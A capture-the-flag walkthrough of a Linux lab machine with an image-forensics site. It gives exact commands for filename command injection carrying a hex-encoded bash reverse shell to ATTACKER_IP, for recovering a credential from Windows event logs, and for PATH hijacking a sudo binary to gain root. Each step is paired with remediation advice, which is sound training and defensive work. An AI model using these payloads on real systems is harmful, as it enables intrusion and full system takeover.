← all walkthroughs

Investigation

Linux· Medium
owned
2026-07-08
time to own
12m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the target and found a single Apache web server hosting an image-forensics site at the virtual host eforenzics.htb. The site accepted image uploads and displayed ExifTool metadata analysis results; the upload handler passed the multipart filename field unsanitised into a shell command, so embedding shell metacharacters in the filename triggered remote code execution as the web-server process. From that foothold I found a Windows Security event log archived in an Outlook .msg file sitting in an internal investigation directory readable by the web process.

Extracting and parsing that log surfaced a plaintext password that had been accidentally typed into a Windows username field and captured verbatim in the log. Those credentials authenticated over SSH as local user smorton. Checking sudo privileges revealed the account could run a custom root-owned binary without a password.

Inspecting the binary with strings showed it calls sendmail via an unqualified (relative) path; planting a malicious sendmail script in /tmp and prepending /tmp to PATH before the sudo call caused the binary to execute my own code as root, completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1EnumerationService enumeration and virtual-host discovery
Mapped open services and resolved the target virtual host
A full TCP port scan of $TARGET found two open ports: 22/tcp running SSH and 80/tcp running Apache 2.4.41 on Ubuntu. Browsing port 80 issued an HTTP redirect to the virtual host eforenzics.htb, which required a local hosts-file entry to resolve. The site presented itself as a free image-metadata analysis service.
Nmap: 22/tcp open ssh, 80/tcp open http Apache 2.4.41; HTTP 302 Location: http://eforenzics.htb/
Exact commands 3
Full TCP port scan; confirms only ports 22 and 80 are open.
nmap -Pn -p- --min-rate 2500 -T4 $TARGET
Add the discovered vhost to local DNS resolution.
echo "$TARGET eforenzics.htb" | sudo tee -a /etc/hosts
Confirm the redirect to eforenzics.htb.
curl -sS -I http://$TARGET/
2DiscoveryWeb application enumeration; ExifTool backend identification
Identified the image-upload endpoint and its ExifTool backend
Browsing eforenzics.htb/service.html exposed a file-upload form posting to upload.php. After submitting a benign JPEG, the analysis result appeared at /analysed_images/<basename>.txt and contained raw ExifTool output, confirming the server invoked ExifTool on every upload. This highlighted two potential attack paths: CVE-2021-22204 (ExifTool DjVu arbitrary code execution) and, critically, OS command injection if the upload filename was interpolated unsanitised into the shell command the server used to invoke ExifTool.
Curl of /analysed_images/test.txt returned ExifTool metadata output confirming server-side ExifTool invocation.
Exact commands 3
Locate the upload form and confirm the POST action points to upload.php.
curl -sS http://eforenzics.htb/service.html
Upload a benign image; note the returned path to the analysis results file.
curl -sS -F 'image=@/tmp/test.jpg;type=image/jpeg' -F 'upload=Upload' http://eforenzics.htb/upload.php
Read the ExifTool output to confirm the backend and infer its invocation pattern.
curl -sS http://eforenzics.htb/analysed_images/test.txt
3ExploitationOS command injection via unsanitised filename in multipart upload handler (CWE-78)
Achieved remote code execution via an unsanitised filename injected into the upload shell pipeline
The upload.php handler passed the multipart filename value directly into a shell command (for example, exiftool "$filename") without sanitisation or escaping. A filename containing a pipe character caused the OS shell to treat the remainder of the filename as a piped command. To survive shell quoting, a reverse-shell payload was hex-encoded and embedded in the filename as 'echo <HEX>|xxd -r -p|bash|', which the server decoded and executed on upload, returning a shell as www-data (uid=33) on the host named investigation.
Post-exploitation id output: uid=33(www-data) gid=33(www-data) groups=33(www-data); hostname: investigation; pwd: /var/www/uploads/1783553291
Exact commands 2
Start a listener on the attack host before uploading the payload.
nc -lvnp 4445
Replace $ATTACKER_IP with your tun0 address. The pipe character in the filename causes the shell to execute the decoded payload server-side.
CMD='bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4445 0>&1"'; HEX=$(printf %s "$CMD" | xxd -p -c 256); FNAME="echo ${HEX}|xxd -r -p|bash|"; curl -sS -F "image=@/tmp/tiny.jpg;type=image/jpeg;filename=${FNAME}" -F 'upload=Upload' http://eforenzics.htb/upload.php
FixSanitise the upload filename before passing it to any shell commandCritical
WeaknessThe upload.php handler inserted the user-supplied multipart filename directly into a shell command without sanitisation or quoting. Any characters meaningful to the shell — pipes, semicolons, backticks, dollar signs — were interpreted by the OS, turning a filename into an arbitrary command. This gave an unauthenticated visitor full remote code execution as the web-server account.
FixNever interpolate user-supplied filenames into shell strings. Invoke ExifTool (or any external program) via an exec-family call that passes the filename as a discrete argument rather than as part of a shell string — for example, exec(['/usr/bin/exiftool', filename]) in Python or passthru with an argument array in PHP. Generate a server-side UUID as the on-disk filename and discard the client-supplied name entirely; if the original name must be stored for display, keep it in a database field and never use it in a system call. Apply strict allowlist validation (alphanumerics, dot, hyphen only) as a defence-in-depth layer.
4Post-ExploitationSensitive file discovery accessible to unprivileged process (T1083)
Located a Windows Security event log artifact readable by the web-server process
From the www-data shell, I enumerated non-standard directories and found /usr/local/investigation/ containing a file named 'Windows Event Logs for Analysis.msg' — an Outlook message file. The directory and file were readable by www-data. The file was copied into the Apache web root and downloaded to the attack host for offline analysis.
Ls /usr/local/investigation/ revealed 'Windows Event Logs for Analysis.msg'; file permissions allowed read by www-data; HTTP service on eforenzics.htb subsequently served winlogs.msg.
Exact commands 3
Run from the www-data reverse shell; surfaces the .msg artifact.
find /usr/local -type f 2>/dev/null
Stage the file to a web-accessible path for exfiltration.
cp '/usr/local/investigation/Windows Event Logs for Analysis.msg' /var/www/html/analysed_images/winlogs.msg
Download the artifact to the attack host.
curl -sS http://eforenzics.htb/analysed_images/winlogs.msg -o winlogs.msg
FixRemove investigation artifacts from directories accessible to the web-server processHigh
WeaknessA Windows Security event log embedded in an Outlook .msg file was stored in /usr/local/investigation/, a directory readable by the www-data web-server user. The log contained a user password recorded verbatim in a Windows logon event. Once an unauthorised user obtained a web shell, harvesting and parsing the file took only minutes.
FixStore forensic artifacts and investigation materials on a separate, network-isolated host or in a directory accessible only to named investigation accounts (ownership: dedicated user, mode 0700). Never use a production or internet-facing web server as an evidence staging area. Before archiving any Windows Security event log, scan it for strings that match credential patterns (passwords accidentally typed into username fields) and redact them. Consider encrypting artifact archives at rest with a key held separately from the file store.
5Credential HarvestingCredential recovery from mis-keyed Windows logon event (T1552.006)
Extracted a plaintext password from a Windows logon event inside the archived event log
The .msg file contained a zip attachment holding security.evtx, a Windows Security event log. After unpacking the nested archive and converting the binary EVTX to XML, a search for logon-event account name fields surfaced event record 353756 — a Windows logon event where the password [REDACTED: recovered credential] had been accidentally typed into the TargetUserName field instead of the password box. Windows logged it verbatim in plaintext. The account name in the event (SMorton) matched the SSH user smorton on the target.
Exact commands 4
Unpack the Outlook .msg container on the attack host.
7z x -oextract winlogs.msg
Extract the nested zip attachment to obtain security.evtx.
cp 'extract/__attach_version1.0_#00000000/__substg1.0_37010102' logs.zip && 7z x -ologs logs.zip
Convert the binary EVTX to searchable XML (requires libevtx-utils: sudo apt-get install -y libevtx-utils).
evtxexport -f xml logs/security.evtx > security.xml
Surface non-system account names; the mis-keyed password appears as a TargetUserName value.
grep -aE 'TargetUserName|SubjectUserName' security.xml | grep -v 'SYSTEM\|LOCAL\|ANONYMOUS\|NETWORK'
6Lateral MovementCredential reuse — Windows event-log credential valid on Linux SSH (T1078)
Authenticated to SSH as smorton using the credential recovered from the event log
The plaintext credential [REDACTED: recovered credential] recovered from the Windows event log authenticated directly to SSH on port 22 as local user smorton (uid=1000). The user flag was read from /home/smorton/user.txt, confirming user-level access. Running sudo -l revealed a critical misconfiguration: smorton may execute /usr/bin/binary as root with no password required.
Exact commands 3
Password: [REDACTED: recovered credential] — authenticates immediately; no further brute-force required.
ssh smorton@$TARGET
Reads the user flag: <user.txt>.
cat /home/smorton/user.txt
Enumerate sudo privileges; reveals the NOPASSWD rule for /usr/bin/binary.
sudo -l
FixAssign unique, randomly generated passwords to every local accountHigh
WeaknessThe password for the Linux account smorton appeared in plaintext inside a forensics training artifact stored on the same machine. Any path to that artifact — web-shell file access, backup exposure, or log exfiltration — immediately handed an unauthorised user a valid SSH credential. Password reuse and use of recognisable patterns (such as embedding the service name in the password) compound the risk.
FixAssign every local and service account a unique password of at least 20 randomly generated characters. Never embed real production credentials in training samples, CTF materials, or forensics exercises — generate synthetic credentials for those purposes. Enforce a password manager for administrator accounts and audit stored credentials periodically. Where SSH is used for administrative access, prefer public-key authentication with password authentication disabled in sshd_config.
7Privilege EscalationPATH interception of relative binary call in sudo-executed program (T1574.007)
Hijacked a relative-path system call inside the sudo-permitted binary to execute code as root
Inspecting /usr/bin/binary with strings revealed the binary invokes sendmail using an unqualified (relative) path, meaning the OS resolves it by searching PATH directories in order. The sudo rule did not enforce a restricted PATH, so I placed a malicious sendmail shell script in /tmp, prepended /tmp to PATH, and ran sudo /usr/bin/binary. The binary executed as root, found /tmp/sendmail first on PATH, and ran my script, which set the SUID bit on /bin/bash. Invoking bash -p then produced a root-effective shell, and /root/root.txt was read.
Strings /usr/bin/binary shows 'sendmail' without a leading slash; /bin/bash gained SUID bit after sudo invocation; root.txt captured.
Exact commands 6
Inspect for unqualified command references; 'sendmail' appears without an absolute path.
strings /usr/bin/binary
Confirm the binary is dynamically linked and identify shared library dependencies.
ldd /usr/bin/binary
Plant a malicious sendmail script that sets the SUID bit on /bin/bash when executed as root.
printf '#!/bin/bash\nchmod +s /bin/bash\n' > /tmp/sendmail && chmod +x /tmp/sendmail
Run the binary as root; it resolves sendmail to /tmp/sendmail and executes I script.
sudo PATH=/tmp:$PATH /usr/bin/binary
Drop into a root-effective shell via the newly set SUID bit.
/bin/bash -p
Reads the root flag: <root.txt>.
cat /root/root.txt
FixRemove or harden the unrestricted sudo rule for /usr/bin/binaryCritical
WeaknessThe sudoers configuration granted smorton the ability to run /usr/bin/binary as root without a password and without restricting the calling environment. The binary called sendmail via a relative path, and because PATH was inherited from the calling user's environment, prepending a directory containing a malicious sendmail script caused the binary to execute externally controlled code as root.
FixRemove the sudo rule if /usr/bin/binary has no legitimate operational purpose. If the rule must be retained, fix the binary to call sendmail by its absolute path (/usr/sbin/sendmail) so PATH cannot redirect the call. Add the Defaults secure_path directive to /etc/sudoers (or a per-rule env_reset restriction) so that PATH and other dangerous environment variables are reset before any sudo command runs. Audit all NOPASSWD sudo rules quarterly and remove any that grant access to custom or non-system binaries without a documented and reviewed business need.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp